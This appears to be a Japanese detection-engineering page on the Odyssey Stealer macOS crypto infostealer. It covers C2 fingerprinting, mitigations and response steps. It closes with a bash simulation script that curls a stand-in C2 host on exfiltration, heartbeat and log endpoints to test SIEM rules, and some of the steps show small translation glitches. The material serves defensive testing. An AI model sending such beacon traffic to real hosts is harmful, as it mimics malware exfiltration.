Odyssey Stealer: macOS暗号通貨窃盗作戦の内部
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Odyssey Stealerは仮想通貨ウォレットや拡張機能をターゲットとしたmacOSのインフォスティーラーです。これは、加盟者が集中管理されたC2と管理パネルへのアクセスを賃借するマルウェア・アズ・ア・サービスのプラットフォームとして販売されています。配信は通常、C2からコマンドをポーリングする持続的なLaunchDaemonをインストールする混乱化されたAppleScriptに依存しています。運営者は、正規のLedgerおよびTrezorアプリをトロイの木馬化したビルドで置き換えて、資格情報と取引データを捕捉することもできます。
調査
研究者たちは、ユニークなHTMLメタタグ、ページ本文のハッシュ、および共有されたfaviconハッシュを使用してC2の指紋を取得しました。彼らは、ヨーロッパとオランダを中心に、複数のASNクラスターにまたがる10の物理ホストをマッピングしました。ペイロードの解析により、マルチステージのAppleScriptドロッパー、LaunchDaemonの持続性、およびGoでコンパイルされたSOCKS5プロキシバイナリが明らかになりました。ドロッパーに埋め込まれた設定データによって、加盟者識別子とビルドIDが露呈しました。
緩和策
疑わしいosascriptの活動、特に長い難読化された文字列、ランダムなラベルを持つ未知のLaunchDaemon plistファイル、および“/log”エンドポイントへの発信POSTリクエストに注意してください。LaunchDaemonによって生成されたバイナリや不審なSOCKS5活動のアラートを出します。LedgerおよびTrezorアプリケーションのコード署名を確認し、既知のC2ドメインおよびIPアドレスをブロックします。予期しないパスワードプロンプトや“ウォレット更新”を高リスクとして取り扱うようにユーザーを訓練します。
対応策
検出時には、システムを隔離し、悪意のあるLaunchDaemonを終了し、トロイの木馬化されたウォレットアプリケーションを削除します。調査のために特定されたC2ドメインおよびIPへのネットワークトラフィックをキャプチャし、漏洩した仮想通貨の資格情報をリセットし、macOSのパスワードを回転させます。追加のアーティファクトを特定するために完全な法科学的レビューを実施します。
攻撃フロー
検出
MacOSシェルのアーカイブ支援データ(コマンドライン経由)
表示
MacOS OsascriptがCurlを生成する(コマンドライン経由)
表示
MacOSシェルがLaunchDaemonsディレクトリに書き込む(file_event経由)
表示
検出すべきIOC(SourceIP): Odyssey Stealer: macOS仮想通貨窃盗操作の内部
表示
検出すべきIOC(DestinationIP): Odyssey Stealer: macOS仮想通貨窃盗操作の内部
表示
検出すべきIOC(HashSha256): Odyssey Stealer: macOS仮想通貨窃盗操作の内部
表示
検出すべきIOC(HashMd5): Odyssey Stealer: macOS仮想通貨窃盗操作の内部
表示
Odyssey Stealer C2エンドポイント検出[ウェブサーバ]
表示
Odyssey Stealer: 難読化されたAppleScriptとCurl使用の検出[Linuxプロセス作成]
表示
シミュレーション実行
前提条件: テレメトリー&ベースラインのプレフライトチェックが合格していること。
-
攻撃の内容とコマンド:
対戦相手は、macOSワークステーションにOdyssey Stealerをデプロイしました。ユーザーを侵害した後、マルウェアは追加のペイロードをダウンロードし、収集したデータを外部送信するためにC2サーバーにビーコンを送信します。ビーコンはネイティブのcurlバイナリ(Apple署名済みバイナリ)を使用して、ルールで定義されたC2エンドポイントにHTTP GETリクエストを発行します。攻撃者は、これらの特定のURIパスを選択し、一般的なWebトラフィックと調和し、一般的なURLフィルタリングソリューションによる検出を回避します。手順:
- C2ホスト名を解決する(以下のようにシミュレート
c2.odyssey.example.com). - GETリクエストを発行
– ランダムなアフィリエイトコードと数字のトークンでデータ外部送信エンドポイントを模倣します。– mimics the data‑exfiltration endpoint with a random affiliate code and numeric token. - GETリクエストを発行
/api/v1/bot/– ボット管理のハートビートをシミュレート。 - オプションで、
/log内部ロギングトラフィックをエミュレートします。このトラフィックは、マルウェアによる状態報告に使用されます。
- C2ホスト名を解決する(以下のようにシミュレート
-
回帰テストスクリプト: 次のbashスクリプトは、検出ルールをトリガーするのに必要な正確なトラフィックを再現します。
#!/usr/bin/env bash # Odyssey Stealer C2ビーコンシミュレーションの検出検証 # 必要条件: curl, pre-flight手順で設定されたネットワークプロキシ C2_HOST="c2.odyssey.example.com" PROXY_HOST="127.0.0.1:3128" # Squidプロキシアドレスに調整してください # プロキシ経由でリクエストを送信する関数 send_request() { local path=$1 echo "[*] リクエストをhttps://${C2_HOST}${path}にプロキシ${PROXY_HOST}経由で送信しています" curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}" } # 1. データ外部送信エンドポイント(ランダムアフィリエイト + 数字) AFFILIATE="aff$(shuf -i 1000-9999 -n 1)" DIGITS=$(shuf -i 10000-99999 -n 1) send_request "/d/${AFFILIATE}${DIGITS}" # 2. ボット管理ハートビート send_request "/api/v1/bot/" # 3. オプションのロギングエンドポイント send_request "/log" echo "[+] シミュレーション完了。SIEMでアラートを確認してください。"スクリプトを
odyssey_beacon.shとして保存し、実行可能にします(chmod +x odyssey_beacon.sh)、macOSテストホストで実行します。 -
クリーンアップコマンド: 一時ファイルを削除し、テストユーザーのプロキシをオプションで無効にします。
# Wi‑Fiインターフェースのプロキシ設定を無効にする networksetup -setwebproxystate "Wi-Fi" off networksetup -setsecurewebproxystate "Wi-Fi" off # (オプション)このテストのために単独で開始された場合、Squidを停止 # brew services stop squid echo "プロキシ設定を復元し、適用可能な場合はSquidを停止しました。"